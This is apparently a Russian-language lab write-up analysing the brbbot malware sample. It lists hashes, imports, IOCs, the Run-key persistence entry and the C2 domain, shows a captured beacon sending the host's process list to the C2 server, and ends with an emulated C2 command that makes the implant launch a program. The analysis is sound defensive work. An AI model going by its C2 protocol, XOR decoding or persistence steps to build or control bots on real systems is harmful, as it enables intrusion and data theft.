brbbot.exe

  • Образец был впервые обнаружен в %AppData% → запустите его оттуда.
  • Создайте ярлык на рабочем столе и разрешите ему работать с правами администратора.

Анализ статических свойств

Инструмент PStudio

  • Здесь мы рассмотрим основы образца, чтобы включить хэши файлов, а также размер файла.
md5,1C7243C8F3586B799A5F9A2E4200AA92
sha1,4DB5A8E237937B6D7B435A8506B8584121A7E9E3
sha256,F47060D0F7DE5EE651878EB18DD2D24B5003BDB03EF4F49879F448F05034A21E
file-size,75776 (bytes)
file-type,executable
cpu,64-bit
compiler-stamp,0x54ED67C2 (Wed Feb 25 01:12:18 2015)

Разделы файла

.text, .rdata, .data, .pdata, .rsrc, .reloc
.text section entrypoint entry-point,0x00003F94

Этот конкретный пример не выглядит упакованным, однако следует отметить, что некоторые версии brbbot действительно упакованы.

Используемые библиотеки

ws2_32.dll, wininet.dll, user32.dll, kernel32.dll, advapi32.dll

Интересный импорт

(115 total)
RegSetValueExA
RegOpenKeyExA
RegDeleteValueA
RegFlushKey
RegCloseKey
GetComputerNameA
GetSystemWow64DirectoryA
IsDebuggerPresent
HttpSendRequestA
InternetReadFile
InternetConnectA
InternetOpenA
HttpOpenRequestA
InternetSetOptionA
CreateFileW
CreateFileA
WriteFile
MoveFileExA
CopyFileA
DeleteFileA
CreateProcessA
GetCurrentProcess
ExitProcess
CryptEncrypt
CryptCreateHash
CryptDestroyKey
CryptDecrypt
CryptDestroyHash
CryptHashData
  • Для этого образца есть:
  • Нет экспорта
  • Нет обратного вызова TLS
  • Если вам интересно, обратный вызов TLS с точки зрения аналитика вредоносных программ позволяет образцу выполнить код до того, как будет достигнута точка входа. Это популярная тактика противодействия анализу со стороны вредоносного ПО, которая пытается победить отладчиков, прежде чем они получат возможность передать управление аналитику вредоносных программ в точке входа программы.

Раздел файла "Ресурсы":

  • Похоже, что образец записывает что-то на диск → мы рассмотрим это позже
CONFIG,101,0x00012270,unknown,73,0.10 %,5.971,English-US,B8 9C C3 AA DF 98 67 11 66 AB FE 23 79 07 6E 17 ,.. .. .. .. .. .. g .. f .. .. # y .. n ..

Интересные строки

exec
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Software\Microsoft\Windows\CurrentVersion\Run
%s?i=%s&c=%s&p=%s
brbconfig.tmp
CONFIG
YnJiYm90
file
conf
exit
sleep
encode
brbbot
HTTP/1.1
Connection: close\r\n

Выводы из файловых строк

  • Присутствует агент пользователя
  • Файл конфигурации с оригинальным именем образца записывается на диск в %appdata% (brbconfig.tmp).
  • file, conf, exit, sleep, encode кажутся командами C2
  • Образец явно указывает на вызовы API, видимые в строках, что также подтверждается наличием строки пользовательского агента.
  • В примере используется ключ запуска для сохранения

IOCS, которые можно использовать для обнаружения

  • Файловая система: brbconfig.tmp
  • Сеть: %s?i=%s&c=%s&p=%s
  • Сохранение: Software\Microsoft\Windows\CurrentVersion\Run
  • Связь: HTTP/1.1, Mozilla/4.0 (совместимый; MSIE 8.0; Windows NT 6.1; Trident/4.0)

Инструмент PEFrame

  • В примере используется несколько подключаемых модулей Yara
    Advapi Hash API
    IsPE64
    IsWindowsGUI
    HasRichSignature
  • Пример поведения в соответствии с PEFrame
    anti dbg
    Xor
    сетевой http
    скриншот
    реестр win
    операция с файлами win

Возможная точка останова для x64db

— snip — 
CryptEncrypt
ReadFile
 — snip —

Инструмент Detect It Easy

компилятор: Microsoft Visual C/C++ (2010)[-]

компоновщик: Microsoft Linker (10.0) [GUI64]

Поведенческий анализ

Шаги для воспроизведения в лаборатории:

  • Настройка: запуск wireshark, fakedns, запуск Remnux accept-all-ips
  • Regshot→ первый снимок
  • Procmon→ очистить захват, затем запустить захват
  • Запустить образец примерно на 60 секунд,
  • Завершить с помощью Process Hacker
  • Завершить procmoncapture→ Сохранить в CSV-файле .log на рабочем столе для импорта ProcDOT,
  • Regshot второй снимок, затем сравните
  • Изучите упаковщики wireshark, запросы fakedns

Регшот

  • Есть два интересных параметра реестра, добавленных из-за выполнения нашего примера, тот, который вы хотите отточить, — это добавление ключа Run, позволяющее образцу сохраняться и выполняться после перезагрузки.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\brbbot: “C:\Users\REM\AppData\Roaming\brbbot.exe”
HKU\S-1–5–21–1866265027–1870850910–1579135973–1000\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Users\REM\AppData\Roaming\brbbot.exe: 53 41 43 50 01 00 00 00 00 00 00 00 07 00 00 00 28 00 00 00 00 28 01 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 0A 73 20 00 00 DB 80 FD AC 28 39 D3 01 00 00 00 00 00 00 00 00 02 00 00 00 28 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 A6 00 00 00 00 00 00 01 00 00 00 01 00 00 00
  • Добавлено файлов: 4
  • Игнорируя запись предварительной выборки, образец сбрасывает закодированный файл конфигурации на диск, который мы рассмотрим позже в отладчике.
C:\Users\REM\AppData\Roaming\brbconfig.tmp
C:\Windows\Prefetch\BRBBOT.EXE-F9A274A7.pf

ПрокДОТ

  • Хотя ProcDOT помогает визуализировать действия, предпринятые образцом, не обнаруживается ничего нового, что не было бы уже выделено из предыдущего вывода инструмента.

Изучение файла конфигурации, сброшенного на диск

%AppData%
brbconfig.tmp
¸œÃªß˜gf«þ#ynó·D|Ý*ú0yVLu¢vq}r‘:ÚŽã’<Â6|ÀH íÜD-•,<ˆ¿Î-kÀaFµ ’

Ясно видно, что файл закодирован каким-то ключом

Изучение результатов Fakedns

fakedns[INFO]: Response: brb.3dtuts.by -> 192.168.80.128

Изучение вывода Wireshark

  • Образец выполняет DNS-запрос, за которым следует запрос к его C2-серверу.
  • ПОЛУЧИТЬ HTTP /ads.php
  • Похоже, что образец отправляет закодированные данные в форме для строки формата, которую мы видели в выходных данных strings.
13 7.863714237 192.168.80.129 192.168.80.128 HTTP 3162 GET /ads.php?i=192.168.80.129&c=DESKTOP-2C3IQHO&p=123f373e600822282f3e366028362828753e233e603828292828753e233e602c32353235322f753e233e603828292828753e233e60283e292d32383e28753e233e6037283a2828753e233e602c323537343c3435753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282
— snip — 
HTTP/1.1
  • Из-за того, что на нашей машине RREMnux не запущен веб-сервер (который служит шлюзом по умолчанию для машины Windows, мы получим 404 в ответ на HTTP GET
15 7.868788904 192.168.80.128 192.168.80.129 HTTP 777 HTTP/1.1 404 Not Found (text/html)
  • Сохраните закодированные данные как encoded.hex для последующего анализа.

Анализ кода в x64db

  • Загрузите образец в x64db и найдите межмодульные вызовы. Найдите вызов API ReadFile, который является потенциальным местом, где он записывается во временный файл на диске, а затем кодирует эти данные.
  • Установите точку останова в API ReadFile.
bp ReadFile
  • Запустите образец, который приведет к попаданию в точку останова
  • В документации ReadFile говорится, что дескриптор (hfile) является первым переданным параметром. Обратите внимание на значение регистра RCX, показанное ниже.
0000000000000100 = RCX register
  • Перейдите на вкладку дескрипторов и нажмите «Обновить», найдите дескриптор 100, посмотрите, как он указывает на нужный нам файл.
Type=File
Type number=24
Handle=100
Access=100081
Name=\Device\HarddiskVolume1\Users\REM\AppData\Roaming\brbconfig.tmp
  • Разрешить ReadFile завершить работу, чтобы добраться до кода, вызвавшего его.
  • Нажмите кнопку "Отладка" вверху и выберите "Выполнить в пользовательском коде".

  • Вы можете ясно видеть вызов API CryptDecrypt прямо под текущим кодом, вызывающим ReadFile.
  • Один шаг вниз вправо после вызова API CryptDecrypt. Теперь ясно видно незашифрованный файл конфигурации в регистрах RSP, RSI.

  • Следует отметить, что мы можем видеть те команды C2, которые мы видели в выводе строк, обнаруженном pestudio. Однако самое главное, мы также можем видеть encode=5b, это ключ xor?

Расшифровка связи C2 с помощью нашего ключа Xor

  • Если мы выберем From Hex в дополнение к XOR (не забудьте добавить значение нашего ключа 5b!), мы сможем просмотреть открытый текст запроса C2. Ясно видно, что образец выполняет опрос процессов, запущенных на машине-жертве.

Повторный анализ Wireshark и управление ботами

  • Чтобы управлять имплантатом с нашей станции REMnux, настройте страницу /ads.php в /var/www/html. Убедитесь, что вы также запускаете веб-сервер nginx.
  • Вывести команду C2 в файл /ads.php, хранящийся в папке /var/www/html.
echo 'cexe c:\windows\notepad.exe' > ads.php
  • Повторно запустите пример, проверьте windows vm

  • Блокнот выполняет :)

Подведение итогов

  • После возможности удаленного запуска notepad.exe это подтверждает нашу более раннюю теорию относительно команд C2 и их включения в вывод strings. Хотя это был чрезвычайно забавный образец для анализа, важно отметить, что это простой образец с небольшим количеством методов запутывания.